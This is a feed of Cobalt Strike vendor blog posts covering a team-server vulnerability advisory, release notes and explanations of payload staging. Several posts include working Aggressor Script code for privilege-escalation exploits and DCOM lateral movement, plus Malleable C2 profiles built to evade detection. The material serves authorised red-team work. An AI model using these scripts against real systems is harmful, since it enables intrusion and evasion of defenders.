Quantcast
Channel: Cobalt Strike – Strategic Cyber LLC
Viewing all 62 articles
Browse latest View live

Cobalt Strike 3.5.1 – Important Security Update

$
0
0

Cobalt Strike 3.5.1 is now available. This release addresses a remote code execution vulnerability in Cobalt Strike. This vulnerability was discovered after a report of in-the-wild exploitation by a third-party. Cobalt Strike 3.5 and all prior versions are vulnerable. This includes 2.5 and below. Read last week’s advisory for more details.

Strategic Cyber LLC advises all Cobalt Strike users to update to Cobalt Strike 3.5.1.

Strategic Cyber LLC urges all Cobalt Strike users to sign-up for the Cobalt Strike Technical Notes mailing list. This list is Strategic Cyber LLC’s primary means to notify users of updates, security advisories, and to communicate other urgent notices.

The rest of this post describes the vulnerability and the hardening measures taken to mitigate it and its variants. This post also provides update advice for users who use older versions of Cobalt Strike to support long-running engagements.

The Vulnerability

Cobalt Strike’s team server is a controller for the Beacon post-exploitation payload. Cobalt Strike has options to serve and control the Beacon payload over HTTP, HTTPS, and DNS. Embedded within the Beacon payload are directives that tell the Beacon payload how to communicate with its team server.

By design, any party can download the Beacon payload and its embedded configuration. This allows a Beacon to bootstrap on a newly compromised system and take steps to authenticate and communicate with its team server. Conversely, this means the information a malicious actor needs to establish communication with a team server is available to them.

Once Beacon runs, its first job is to securely send a randomly generated session key and other information about itself (username, IP address, process ID, etc.) to its team server. Cobalt Strike refers to this information as session metadata.

After this, the Beacon periodically connects to its team server, asks for tasks, sends response directives, and goes back to sleep. These response directives are a limited set of actions that a Beacon may ask its team server to execute. Most of the responses simply format and present output to the user (e.g., keystrokes, output from a command, etc.).

Some response directives work together to support more complicated tasks. For example, there are three response directives that support file downloads.

The first file response directive starts a file download. This directive accepts as input an integer file ID, an integer that is the file length, and a string with the full path to the file on the remote system. This directive notifies users that a download has begun and it opens a handle to write the downloaded file to disk. This directive then associates the file ID with this handle.

The second file response directive accepts an integer file ID and a binary blob. This directive writes the binary blob to the file handle that maps to the file ID for the current session. A Beacon session may make multiple requests with this directive to send a large file to a team server.

The third file response directive accepts an integer file ID. This directive formally informs the team server that the file download is complete.

The team server does not map response directives to previous tasks. Once a client establishes a session, it has freedom to request execution of any response directives in any order or quantity.

The team server stores files it downloads into a fixed path. That path is downloads/[internal IP address of session]/[path/to/remote file].

The [path/to/remote file] input comes from the first file response directive. The team server took steps to sanitize this value in an attempt to prevent a directory traversal attack. These steps were not best practice for the Java platform, but some measure was in place. The information provided to Strategic Cyber LLC did not indicate that this value was the source of the directory traversal input.

What other input is there? There’s the [internal IP address of the session]. The team server uses this value to organize downloaded files and to organize its logs. Where does this value come from? It comes from the session metadata. Who controls the session metadata? The Beacon session controls this value.

This led to the root cause of the issue: The team server extracts information from the session metadata and makes that information available to other features as trusted information about that session. The team server did not validate these metadata parameters for expected form or sanitize these parameters for malicious inputs.

Hot Fix 1 took steps to mitigate the in-the-wild exploit and buy time for further investigation. Hot Fix 2 mitigated the identified root cause of this vulnerability and potential variants by adding strict checks and sanitization to the session metadata.

The Hardening Measures

This release restores functionality degraded by last week’s Hot Fixes for this vulnerability, improves on Hot Fix 2’s measures, and hardens the Cobalt Strike team server against this vulnerability and potential variants.

Here are the changes:

1. This release reworks the download response directives to use randomly generated names for downloaded files stored on the team server. Information about the downloaded files (name, where they came from, etc.) is logged to logs/[date]/downloads.log. The View -> Downloads tab displays the real file name and original remote path. The Sync Files button works as it did prior to the Hot Fixes.

2. The team server now uses a safe path concatenation function throughout its codebase. This function compares the canonical paths of the parent and candidate result to make sure the result doesn’t break out of its parent.

3. This release adds a host_stage option to Malleable C2. This option controls whether or not Cobalt Strike hosts Beacon stages for download over HTTP, HTTPS, and DNS. If set to false, staging functionality will be unavailable, but this is useful for teams with a no-network staging policy.

4. The team server now refuses to process a session if any of its metadata fails validity checks. This is a minor improvement on the changes made in Hot Fix 2.

5. The team server now denies new sessions with no prior tasks access to most response directives.

Update Advice (for those with Live Sessions)

If you have live accesses and can’t afford to lose control of them, then you’ll want to approach an update with caution.

If you have Cobalt Strike 3.2 and below with live sessions, do not update the team server in place. The 3.5.1 team server cannot control Beacons in 3.2 and below. Migrate your accesses to a new server with 3.5.1.

If you have Cobalt Strike 3.3 with live sessions, you may stop your team server and update in place. After this update, you should migrate accesses to new infrastructure.

If you have Cobalt Strike 3.4 or 3.5 with live sessions, then you may stop your team server and update in place to 3.5.1. Cobalt Strike 3.5.1 can control sessions from 3.4 and 3.5 with little or no impact. The ssh and ssh-key commands will not work in Beacons from Cobalt Strike 3.4.

Update Instructions

Licensed users may use the update program to get the latest. Trial users must download the trial again.

To verify that you have Cobalt Strike 3.5.1, go to Help -> About. The software will report version 3.5.1.


Filed under: Cobalt Strike

What is a stageless payload artifact?

$
0
0

I’ve had a few questions about Cobalt Strike’s stageless payloads and how these compare to other payload varieties. In this blog post, I’ll explain stageless payloads and why you might prefer stageless payload artifacts in different situations.

What is payload staging?

A stageless payload artifact is an artifact [think executable, DLL, etc.] that runs a payload without staging. To understand stageless payloads, it helps to understand payload staging first.

Many of Cobalt Strike’s attacks and workflows deliver a payload as multiple stages. The first stage is called a stager. The stager is a very tiny program, often written in hand-optimized assembly, that: connects to Cobalt Strike, downloads the Beacon payload (also called the stage), and executes it.

The payload staging process exists for a reason. Staging makes it possible to deliver Beacon [or another payload] in an attack or artifact that has a size constraint. For example, several of Beacon’s lateral movement commands run a PowerShell one-liner to kick off the payload you specify. This PowerShell one-liner is limited to the maximum length of a Windows command + arguments. I can’t stuff a ~200KB payload stage into this space. A payload stager that is a few hundred bytes works just fine though.

What is a stageless payload artifact?

A stageless payload artifact is an artifact that contains the payload stage and its configuration in a self-contained package. Cobalt Strike has had the option to export stageless Beacon artifacts since its March 2014 release. I used to call these “staged” artifacts, but I adopted Metasploit’s nomenclature when the framework gained this capability. Stageless Beacon artifacts include: an executable, a service executable, DLLs, PowerShell, and a blob of shellcode that initializes and runs the Beacon payload.

Why would I use stageless payload artifacts?

Stageless payloads are beneficial in many circumstances. Stageless payloads are a way to work without the staging process. Payload staging is a fragile process and some defenses mitigate it. Stageless payloads allow you to benefit from Beacon’s security features, right away. Beacon authenticates its team server and encrypts communication to and from the team server. Beacon can do this because it does not have the same size constraints a stager has. Cobalt Strike’s stagers do not have any security features. If an attacker can intercept and manipulate the staging process, they can replace your stage with theirs. This is a concern in some situations.

What’s inside of a stageless payload artifact?

Cobalt Strike’s stageless payload executables and DLLs are not much different from its stager-delivering counterparts. Cobalt Strike’s Artifact Kit builds artifacts for stageless payloads and payload stagers from the same source code. The difference is the executables and DLL templates for stageless payloads have more space to hold the entire Beacon payload.

The common denominator for Cobalt Strike’s stageless payload artifacts is the raw output. Think of this as a big blob of shellcode that contains and runs Beacon. When you export a stageless payload artifact, Cobalt Strike patches this big blob of shellcode into the desired artifact template (PowerShell, executable, DLL, etc.).

What’s inside of the raw stageless payload artifact?

The raw stageless artifact is a self-bootstrapping Reflective DLL. A Reflective DLL is a Windows DLL compiled with a Reflective Loader function. The Reflective Loader function is like LoadLibrary, except it can load a DLL that resides somewhere in memory. Stephen Fewer developed the Reflective DLL loader that Cobalt Strike and other toolsets use.

Cobalt Strike’s Beacon is compiled as a Reflective DLL. This allows various payload stagers and the stageless artifacts to inject Beacon into memory.

Now, let’s discuss the self-bootstrapping part. If you’re with me so far, you understand that a Reflective DLL is a DLL with this loader function built into it. This does not make the Reflective DLL self-bootstrapping.

The way the Reflective DLL becomes self-bootstrapping is to overwrite the beginning of the DLL with a valid program that does the following things:

(1) Resolve the memory address where the (currently running) bootstrap program/Reflective DLL resides

(2) Call the Reflective Loader with (1) as an argument. The Reflective Loader lives at a predictable offset from (1). When you see “Offset is: 4432” in the Cobalt Strike console, that’s Cobalt Strike resolving the offset to the Reflective Loader within a DLL.

(3) After the Reflective Loader initializes a DLL, it calls the DLL’s DllMain function. This is when control is passed to Beacon.

In summary, the raw output of Cobalt Strike’s stageless payload is a Reflective DLL with a valid program patched in over the PE header. The patched in program performs steps (1), (2), and (3). This valid program is what makes the Reflective DLL blob self-bootstrapping.  This self-bootstrapping blob is a stageless Cobalt Strike payload.


Filed under: Cobalt Strike

Cobalt Strike 3.6 – A Path for Privilege Escalation

$
0
0

Cobalt Strike 3.6 is now available. This release adds an API to use third-party privilege escalation exploits with Beacon and extends Malleable C2 to allow HTTP C&C without HTTP POST. This release also includes fixes and improvements for existing features.

Privilege Escalation API

This release adds an API to integrate privilege escalation exploits into Beacon’s elevate command.

Here’s what it looks like to integrate the PowerShell Empire variant of FuzzySec’s ms16-032 exploit into Beacon:

sub ms16_032_exploit {
	local('$script $oneliner');

	# acknowledge this command
	btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032");

	# generate a PowerShell script to run our Beacon listener
	$script = artifact($2, "powershell");

	# host this script within this Beacon
	$oneliner = beacon_host_script($1, $script);

	# task Beacon to run this exploit with our one-liner that runs Beacon
	bpowershell_import!($1, script_resource("modules/Invoke-MS16032.ps1"));
	bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

	# give it another 10s to work.
	bpause($1, 10000);

	# handle staging
	bstage($1, $null, $2);
}

beacon_exploit_register("ms16-032", "Secondary Logon Handle Privilege Escalation (CVE-2016-099)", &ms16_032_exploit);

Let’s try something else! The Metasploit Framework implements many of its privilege escalation exploits as Reflective DLLs. The flow of these Metasploit privilege escalation exploits is: spawn a patsy process, inject the exploit logic into the patsy process, inject the payload stager shellcode into the patsy process, and pass a pointer to the injected shellcode when the exploit DLL is run.

What if it were possible to use these DLLs within Beacon, as-is? Thanks to Aggressor Script’s &bdllspawn function, this is now possible. This functions launches a Reflective DLL as a Beacon post-exploitation job. It can pass an arbitrary parameter to the DLL and it monitors STDOUT for output. The uses for this go far beyond privilege escalation! That said, here’s a script to use ms15_051_client_copy_image with Cobalt Strike’s Beacon payload:

sub ms15_051_exploit {
	# acknowledge this command
	btask($1, "Task Beacon to run " . listener_describe($2) . " via ms15-051");

	# tune our parameters based on the target arch
	if (-is64 $1) {
		$arch   = "x64";
		$dll    = "modules/cve-2015-1701.x64.dll";
	}
	else {
		$arch   = "x86";
		$dll    = "modules/cve-2015-1701.x86.dll";
	}

	# generate our shellcode
	$stager = shellcode($2, false, $arch);

	# make sure we have shellcode for this listener (some stagers are x86 only)
	if ($stager is $null) {
		berror($1, "No $arch stager for listener ' $+ $2 $+ '");
		return;
	}

	# spawn a Beacon post-ex job with the exploit DLL
	bdllspawn!($1, script_resource($dll), $stager, "ms15-051", 5000);

	# stage our payload (if this is a bind payload)
	bstage($1, $null, $2, $arch);
}

beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);

The goal of these functions is to make it easier for your team to integrate custom capability with Cobalt Strike and quickly adapt new exploits for use with Beacon as they become available.

The Elevate Kit

If you’d like more privilege escalation examples, check out the Elevate Kit. This is an Aggressor Script that demonstrates how to use PowerShell and Reflective DLL exploits with Cobalt Strike’s Beacon payload.

To use the Elevate Kit: download the elevate kit files and extract them to your Cobalt Strike client system. Go to Cobalt Strike -> Scripts, press Load, and select elevate.cna.

Within Beacon: type elevate by itself to see a list of loaded exploits. Type elevate [exploit name] [listener] to launch an exploit against the current Beacon session.

Malleable C2 – HTTP Beacon without HTTP POST

Take a look at this screenshot of Beacon communication with the webbug_getonly profile. Which screenshot is Beacon downloading tasks from Cobalt Strike? Which side is Beacon sending a response to Cobalt Strike?

riddle

This release adds a great deal of flexibility to Beacon’s HTTP communication via Malleable C2. You may now set the HTTP verb for Beacon’s http-get and http-post transactions. You may also push Beacon’s responses into the URI, a header, or a parameter. Beacon will automatically chunk its responses (and use multiple requests) to fit the constraints of an HTTP GET-only channel.

If you like to challenge analysts and craft profiles, these changes are a lot of fun. These changes also make it possible to “emulate” the HTTP traffic of different malware with much more fidelity.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.6. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

Important Trial Change

The Cobalt Strike 3.6 trial does not encrypt Beacon’s tasks and responses. The trial is built for evaluation in a lab environment. I would not use the 3.6 trial in a production environment. The licensed product does not have this limitation.


Filed under: Cobalt Strike

Scripting Matt Nelson’s MMC20.Application Lateral Movement Technique

$
0
0

This is a short blog post with a long title. A few weeks ago, Matt Nelson published Lateral Movement Using the MMC20.APPLICATION COM Object (there’s a Part 2 as well!). The post documents an option, beyond the usual suspects (e.g., services, scheduled tasks, wmi, etc.), to ask a remote system to run a process for you.

Matt Nelson’s technique calls the ExecuteShellCommand method of the MMC20.Application COM object. One of the features of COM is its ability to remotely instantiate objects and call methods on them. By calling this method remotely, we can make the target system run a command to load our agent into memory or weaken the target’s configuration for other post-exploitation options.

In this post, I will show you how to add this technique to Cobalt Strike with Aggressor Script. Aggressor Script is Cobalt Strike’s scripting language to extend the Cobalt Strike client and add bots to your engagement. Making it easy to quickly add and use new TTPs from Cobalt Strike is very much one of Aggressor Script’s goals.

Here’s a script that adds a com-exec command to Beacon. This scripted command is similar to Beacon’s existing psexec, psexec_psh, wmi, and winrm commands for lateral movement.

# Lateral Movement alias
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

# register help for our alias
beacon_command_register("com-exec", "lateral movement with DCOM",
	"Synopsis: com-exec [target] [listener]\n\n" .
	"Run a payload on a target via DCOM MMC20.Application Object");

# here's our alias to collect our arguments
alias com-exec {
	if ($3 is $null) {
		# let the user choose a listener
		openPayloadHelper(lambda({
			com_exec_go($bid, $target, $1);
		}, $bid => $1, $target => $2));
	}
	else {
		# we have the needed arguments, pass them
		com_exec_go($1, $2, $3);
	}
}

# this is the implementation of the attack
sub com_exec_go {
	local('$command $script $oneliner');

	# check if our listener exists
	if (listener_info($3) is $null) {
		berror($1, "Listener $3 does not exist");
		return;
	}

	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via DCOM");

	# generate a PowerShell one-liner to run our alias	
	$command = powershell($3, true, "x86");

	# remove "powershell.exe " from our command
	$command = strrep($command, "powershell.exe ", "");

	# build script that uses DCOM to invoke ExecuteShellCommand on MMC20.Application object
	$script  = '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "';
	$script .= $2;
	$script .=  '")).Document.ActiveView.ExecuteShellCommand("';
	$script .= 'c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe';
	$script .= '", $null, "';
	$script .= $command;
	$script .= '", "7")';

	# run the script we built up
	bpowershell!($1, $script);
	
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);
}

This alias is similar to the lateral movement example in the Aggressor Script documentation. To use this alias: put the above into a script, load it, and use com-exec [target] [listener] within Beacon. If you type com-exec [target], Cobalt Strike will ask you which listener you want to use.

That’s it!


Filed under: Cobalt Strike

Cobalt Strike 3.7 – Cat, Meet Mouse

$
0
0

The 8th release of the Cobalt Strike 3.0 series is now available. The release extends Malleable C2 to influence how Beacon lives in memory, adds code-signing for executables, and gives operators control over which proxy server Beacon uses. There’s a lot of good stuff here. Let’s dig into it.

Malleable PE

A key goal of Cobalt Strike is to challenge analysts and keep the toolset interesting as they and their capabilities evolve. Many forward leaning security programs rely on memory forensics to detect and respond to actors with capabilities similar to and beyond Cobalt Strike. This release adds some flexibility in this area.

Cobalt Strike 3.7’s Malleable C2 stage block specifies how Beacon lives in memory through changes to Beacon’s Reflective DLL stage. Here’s what this looks like:

stage {
	set userwx "false";
	set compile_time "14 Jul 2009 8:14:00";
	set image_size_x86 "512000";
	set image_size_x64 "512000";

	transform-x86 {
		prepend "\x90\x90"; # NOP, NOP!
		strrep "ReflectiveLoader" "DoLegitStuff";
	}

	transform-x64 {
		# transform the x64 rDLL stage
	}
}

Let’s start with permissions: Something magical happens when an analyst sweeps processes for RWX pages. Payloads fall out of the memory. Stagers fall out too. This is because many offensive tools use these liberal permissions, even when they’re not needed. The userwx option gives you control over this. Set userwx to false and Beacon’s Reflective DLL Loader will avoid these permissions.

Veteran analysts with multiple rounds of Cobalt Strike experience may know the size of Beacon’s reflective DLL in memory. I’ve heard 0x42000 thrown around many times. This is the SizeOfImage value in Beacon’s PE header. The image_size_x86 and image_size_x64 options control this value. If you emulate a specific threat actor, consider a SizeOfImage value that matches their malware.

Finally, in the cyber, attribution matters. Nothing feeds fantastical pet attribution theories quite like when the actor compiled their malware. The compile_time option changes this value in Beacon’s Reflective DLL header.

The transform-x86 and transform-x64 blocks pad and transform Beacon’s stage. If you choose to prepend data, make sure it’s valid code for the stage’s architecture. There’s no check for this.

The Malleable C2 documentation has more information on these new options.

Code Signing

This release adds a code signing capability to Cobalt Strike. This feature requires a valid code-signing certificate stored in a Java Keystore file. Those of you who’ve signed Cobalt Strike’s Java Applet already have one of these keystores available. Use Malleable C2’s code-signer block to tell Cobalt Strike about your code-signing certificate.

# setup code-signing certificate for our EXEs and DLLs
code-signer {
	set keystore "keystore.jks";
	set password "password";
	set alias    "server";
}

After you specify a certificate, the Sign executable file box in Attacks -> Packages -> Windows EXE and Attacks -> Packages -> Windows EXE (S) becomes available. Check this box and Cobalt Strike will sign your artifact. It’s as easy as that!

Proxy Override

I’ve had many requests for a way to specify alternate proxy settings for Beacon. This release adds user-specified proxy settings to Beacon’s stageless artifacts. Go to Attacks -> Packages -> Windows EXE (S) and press next to the proxy field to configure this option.

You may leave these proxy settings as-is (default), instruct Beacon to connect directly, or make Beacon use the proxy configuration and credentials that you specify. These options should help in a few situations.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.7. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.


Filed under: Cobalt Strike

Java Startup Bug in Java 1.8u131

$
0
0

If you recently updated your penetration testing environment, it’s possible you were greeted with a special surprise. Cobalt Strike and its team server will no longer start.

Instead of Cobalt Strike, you’re now greeted with this very intuitive and helpful error: The Parallel GC can not be combined with -XX:ParallelGCThreads=0.

I’ve had a few emails about this. My first answer: I have no idea what that means. Now, I have an answer! This is a known bug in Java 1.8u131. This recent update to Oracle’s Java introduces a change that breaks the -XX:+AggressiveHeap command line option Cobalt Strike uses. This command line option is not uncommon in the Java world and other applications are affected.

The Java team is aware of this bug and it has a priority level 2. This is the level reserved for Crashes, losses of data, and severe memory leaks. They’re taking it seriously and I expect this problem to go away in a coming Java update.

On Linux, one way to work around this Oracle Java bug is to update the cobaltstrike and teamserver scripts to specify the -XX:ParallelGCThreads=8 option after the java command.

I advise that you stay away from Oracle Java 1.8u131. If you already updated to Java 1.8u131, then downgrade to Java 1.8u121.

What about OpenJDK? I continue to recommend Oracle’s Java distribution for use with Cobalt Strike. Oracle’s Java distributions go through a series of acceptance tests to make sure the build is sane. This isn’t always the case with OpenJDK builds/packages. This has led to serious issues in the past.


Filed under: Cobalt Strike

Cobalt Strike 3.8 – Who’s Your Daddy?

$
0
0

Cobalt Strike 3.8 is now available. This release adds features to spawn processes with an alternate parent process. This release also gives the operator control over the script templates Cobalt Strike uses in its attacks and workflows.

Processes with Alternate Parents

A favorite hunt technique is to instrument a host to report all new processes, their arguments, and the parent process. Hunt operators (and automated solutions) separate the noise from the interesting by looking for odd parent/child process relationships.

This release of Cobalt Strike pushes back on this technique with the ppid command. The PPID command tasks Beacon to launch cmd.exe, powershell.exe, and other processes with an alternate parent. This feature takes advantage of an API, introduced with Windows Vista, to enable consent.exe to launch elevated processes with the non-elevated requester as the parent.

This opens a lot of possibilities. For example, if I’m in a user context, I might set explorer.exe as my parent with something plausible (e.g, iexplore.exe) for my temporary processes. If I’m in a SYSTEM context, I might use services.exe as my parent process and ask Beacon to use svchost.exe for its temporary processes.

To benefit from the ppid command, your session must have rights to access the parent process. I also recommend that you specify a parent process that exists in the same desktop session. If you don’t, random commands and workflows may fail.

Another way to hop Desktop Sessions

It’s possible, with a few extra steps, to run commands under a parent that lives in another desktop session. Programs run this way will take on the rights and identity of their parent.

Beacon’s runu command runs an arbitrary command as a child of another parent. This command takes the necessary extra steps to do this across session boundaries.
The spawnu command builds on this primitive to spawn a session with powershell.exe.

These commands offer means to spawn a payload, in another desktop session, without remote process injection. As detection of remote process injection becomes more common, it’s important to have other ways to achieve our goals without this offensive technique.

The Resource Kit

Cobalt Strike 3.8’s Resource Kit finally gives you a way to change Cobalt Strike’s built-in script templates! The Resource Kit is a collection of Cobalt Strike’s default script templates and a sample Aggressor Script to bring these into Cobalt Strike. Go to Help -> Arsenal from a licensed copy of Cobalt Strike to download the Resource Kit.

The Resource Kit benefits from new Aggressor Script hooks to provide the PowerShell, Python, and VBA script templates Cobalt Strike uses in its workflows.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.8. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.


Filed under: Cobalt Strike

Cobalt Strike 3.9 – Livin’ in a Stager’s Paradise

$
0
0

Cobalt Strike 3.9 is now available. This release brings several additions to Malleable C2 with an emphasis on staging flexibility.

Malleable HTTP/S Staging

Stagers are tiny programs that download the Beacon payload and pass control to it. Stagers are a way to use a size-constrained attack to deliver a large payload like Beacon. While I recommend working stageless, stagers are helpful in some situations. Wouldn’t it be nice if you could disguise staging to look like something else? That’s possible now.

This release introduces Malleable C2 flexibility into Beacon’s HTTP and HTTPS stagers. Cobalt Strike 3.9 profiles may modify the HTTP staging URI, add client headers, add URI parameters, and place arbitrary data before or after the encoded payload stage. Here’s the Malleable C2 profile for the above screenshot:

http-stager {
	set uri_x86 "/_init.gif";
	set uri_x64 "/__init.gif";

	client {
		parameter "key1" "value1";
		parameter "key2" "value2";
		header "Host" "yeah this works too";
	}

	server {
		header "Content-Type" "image/gif";

		output {
			prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
			prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
			prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
			print;
		}
	}
}

And, here’s a recorded demonstration:

More Malleable C2 Features

While the HTTP staging gains the most flexibility in this release, 3.9 enhances Malleable C2 in other ways too.

The dns_stager_prepend option places a string before the encoded payload stage delivered via DNS TXT records. This offsets the content in this process and pushes back on signatures that target fixed TXT records in Cobalt Strike’s DNS staging process.

set dns_stager_prepend "v=spf1 mx include:_spf.google.com -all other:";

This release adds an obfuscate setting to the Malleable PE directives. This option masks the Beacon DLL’s import table. Together, the obfuscate setting and strrep (introduced in 3.7), give you a lot of control over which strings are visible in the Beacon stage.

stage {
	set obfuscate "true";

And, Malleable C2 gains a mask statement for its data transform blocks. The mask statement generates a random 4-byte value, masks your data with this value, and prepends this 4-byte value to the masked data. This last step makes it possible to reverse the mask step. The mask statement is interpreted and applied with each Beacon transaction. The mask statement makes it possible to randomize parts of your profile.

Authorization Files

The licensed version of Cobalt Strike 3.9 and later now requires an authorization file to start. The update program, distributed with the Cobalt Strike trial, downloads this authorization file.

The authorization file includes your license expiration date and a unique customer ID. Cobalt Strike 3.9 and later embeds this ID into the Beacon payload stage and any stagers generated by Cobalt Strike. This value is the last 4-bytes of the Beacon payload stager.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.9. Licensed users will need to download the 3.9 trial and use the updated update program to get the latest. A 21-day Cobalt Strike trial is also available.


Filed under: Cobalt Strike

Kits, Profiles, and Scripts… Oh my!

$
0
0

If I had to describe Cobalt Strike in one word, I’d say ‘flexible’. There are a lot of options to control Cobalt Strike’s features and indicators. In this post, I’ll introduce these options, explain the rationale for each, and point you to resources to explore them further.

Aggressor Script

Aggressor Script is Cobalt Strike’s built-in scripting language. It is the preferred way to add features to Cobalt Strike, override existing behaviors (kits take advantage of this), and automate your engagements.

Several public scripts add new workflows and features to Cobalt Strike. For example, CACTUS TORCH adds user-driven attack options to Cobalt Strike with x64 and stageless variations too. Tyler Rosonke wrote a script to add persistence options for Beacon.

Cobalt Strike also ships with a headless client, agscript, that connects to a team server and hosts an Aggressor Script for you. This client is designed for long-running bots. Common uses of headless Aggressor Scripts is to force DNS beacons to “check in” or notify an operator, via a text or email, that they have a new session.

If you’d like to dig deeper into Aggressor Script, jump over to the Aggressor Script documentation. I also regularly post Aggressor Script snippets as Github gists. Finally, Lee Kagan has created an Aggressor Scripts Collection that aggregates many of the publicly available scripts into one place.

Applet Kit

A kit is source code to a Cobalt Strike feature coupled with a script that forces Cobalt Strike to use your implementation over the built-in one. Kits give you control over the artifacts and processes that deliver the beacon payload.

The concept of kits in Cobalt Strike came out of necessity.

For a long time, Java Signed Applets and Java Applet exploits were a staple client-side attack option. In January 2013, I implemented Cobalt Strike-native versions of these attacks. The Smart Applet attack bundled several Java exploits into one package. The Java Signed Applet attack hosted a self-signed Java applet on Cobalt Strike’s web server. If a vistor let the applet run, it’d result in code execution for the attacker.

While the above options were great, at the time, my users needed an option to modify these attacks to evade detection. This is where the Applet Kit came in. The Applet Kit is the source code to Cobalt Strike’s Java Applet attacks. Included with the Applet Kit is an applet.cna script. When you load this script, Cobalt Strike uses your applet attacks instead of its built-in options.

The Applet Kit is available from the Cobalt Strike arsenal. This is a one-page site available to licensed Cobalt Strike users. Go to Help -> Arsenal from Cobalt Strike to reach it.

As Java in the browser became more constrained, Cobalt Strike users would often sign the built-in Java Signed Applet attack with their code-signing certificate. The use of a valid code-signing certificate kept this attack alive past its expected expiration date.

Artifact Kit

Introduced in January 2014, the Artifact Kit controls Cobalt Strike’s process to generate executable and DLL files.

The contract of the Artifact Kit is simple. Cobalt Strike provides shellcode and meta-information to a scripted function. The scripted function is responsible for returning an executable or DLL that runs that shellcode.

The Artifact Kit is also available from the Cobalt Strike arsenal. The arsenal hosts my implementation of the default artifacts in Cobalt Strike. A few variations are available in the Artifact Kit distribution as well.

To use the Artifact Kit: download the default implementation, make changes, build it, and load the artifact.cna script that registers itself to handle executable and DLL file requests in your Cobalt Strike.

Resource Kit

Many Cobalt Strike attacks and workflows take advantage of PowerShell, Python, and VBA scripts to get the job done. The Resource Kit controls the PowerShell, Python, and VBA script templates in Cobalt Strike.

Again, the contract here is simple. Cobalt Strike provides a registered script with shellcode, meta-information, and a description of what it wants. The registered script returns a script that executes the shellcode.

The Resource Kit is also available in the Cobalt Strike Arsenal.

Many Cobalt Strike users combine the Resource Kit with Invoke-Obfuscation to make Cobalt Strike’s PowerShell scripts much less obvious.

Elevate Kit

It’s a goal of Cobalt Strike to make it easy to combine your team’s “secret sauce” with the toolset. One spot where this comes together well is privilege escalation. Aggressor Script exposes APIs that allow scripts to register privilege escalation exploits with Beacon’s elevate command and Elevate Privileges dialog.

The Elevate Kit is a collection of public privilege escalation exploits integrated with Cobalt Strike via these APIs. The Elevate Kit demonstrates how to integrate Reflective DLL implementations of privilege escalation attacks from the Metasploit Framework. It also shows how to repurpose attack POCs implemented in PowerShell as well.

The Elevate Kit is hosted on Github. Load the elevate.cna script and you’re ready to go. Don’t be afraid to extend or add to the Elevate Kit. It’s pretty easy. During a recent cyber exercise, I was able to recompile a POC from Github as a Reflective DLL and fire it with Cobalt Strike. The entire process took less than 30 minutes.

Custom Reports

Cobalt Strike’s built-in reports are designed to convey red team activities and indicators to a blue team training audience. While the built-in reports are serviceable, it’s not well-known that you can write custom reports for Cobalt Strike too.

The Aggressor Script documentation covers Custom Reports and hosts the source code for the built-in reports too.

I’ve used this feature to generate variations of Cobalt Strike’s built-in reports, split up by IP address ranges, to give tailored information to the blue teams at a large cyber defense exercise.

External C2

I’ve had quite a few requests for third-party command and control options with Cobalt Strike’s Beacon payload. The External C2 specification (November 2016) was my answer to these requests.

External C2 documents how to control Beacon over a named pipe and provides a TCP/IP interface to configure an SMB Beacon stage, receive it, and relay traffic between the SMB Beacon and Cobalt Strike. How this traffic is transported and relayed is up to your imagination.

I never announced External C2 as a feature. I wrote the specification, implemented it, and distributed it to customers who requested this feature. I wanted to see what (if anything) these users would do with the specification.

The fine folks at Outflank B.V. were the first, that I know of, to build and use an external C2 with Cobalt Strike. They contacted me to share the success story from one of their engagements. They also asked if (and when), they could publish a blog post to share their code and document the feature. This led to the Cobalt Strike over external C2 – beacon home in the most obscure ways post on their blog. Their External C2 uses a corporate file server as a dead drop for communication between a hard-to-reach target and their Beacon controller. Their external_c2 source code is on Github too.

Shortly after Outflank’s post, MWR Labs posted their thoughts on External C2 and demonstrated a POC to control Beacon via Office 365 Tasks. In both cases, I’m very impressed and I find these first results encouraging. Needless to say, even though it’s not announced, the External C2 specification is public and is implemented as-described in Cobalt Strike today.

Malleable C2 Profiles

Malleable C2 profiles control the indicators and behaviors in the Beacon payload and its stagers. I consider Malleable C2 the most important technology in Cobalt Strike today.

I introduced Malleable C2 as part of Cobalt Strike 2.0 (July 2014). The first release of Malleable C2 controlled the indicators in Beacon’s HTTP communication. Malleable C2 made it possible to use Beacon, but look like the havex trojan or something completely innocuous.

Today, Malleable C2 isn’t just network traffic. Malleable C2 profiles control which SSL certificate Cobalt Strike uses. Profiles also specify the code-signing certificate used to sign executables and DLLs. Malleable C2 profiles have options to influence Beacon’s memory indicators too.

I very much intended Malleable C2 as a threat emulation technology, but it’s much more than that. I didn’t imagine domain fronting when I added Malleable C2 to Cobalt Strike. Yet, when this technique became known, Cobalt Strike was a go-to platform to take advantage of it. Today, I heard about a customer using the string replace feature (for Beacon’s stage) to alter how Beacon runs PowerShell scripts. Again, I wouldn’t have thought of that.

The Malleable C2 Profiles Github repository has several example profiles to start with. You can use one of these, but the barrier to making your own “never seen” profile is very low. I recommend reading the Malleable C2 documentation as well.

Closing Thoughts

Today, there are few things in Cobalt Strike that users don’t have direct control over. Through these tools you may add to Cobalt Strike’s features, modify behaviors that get in your way, change the files that deliver the Beacon payload, and edit the product’s indicators. As red team needs and tradecraft evolve, this flexibility is how Cobalt Strike keeps pace.


Filed under: Cobalt Strike

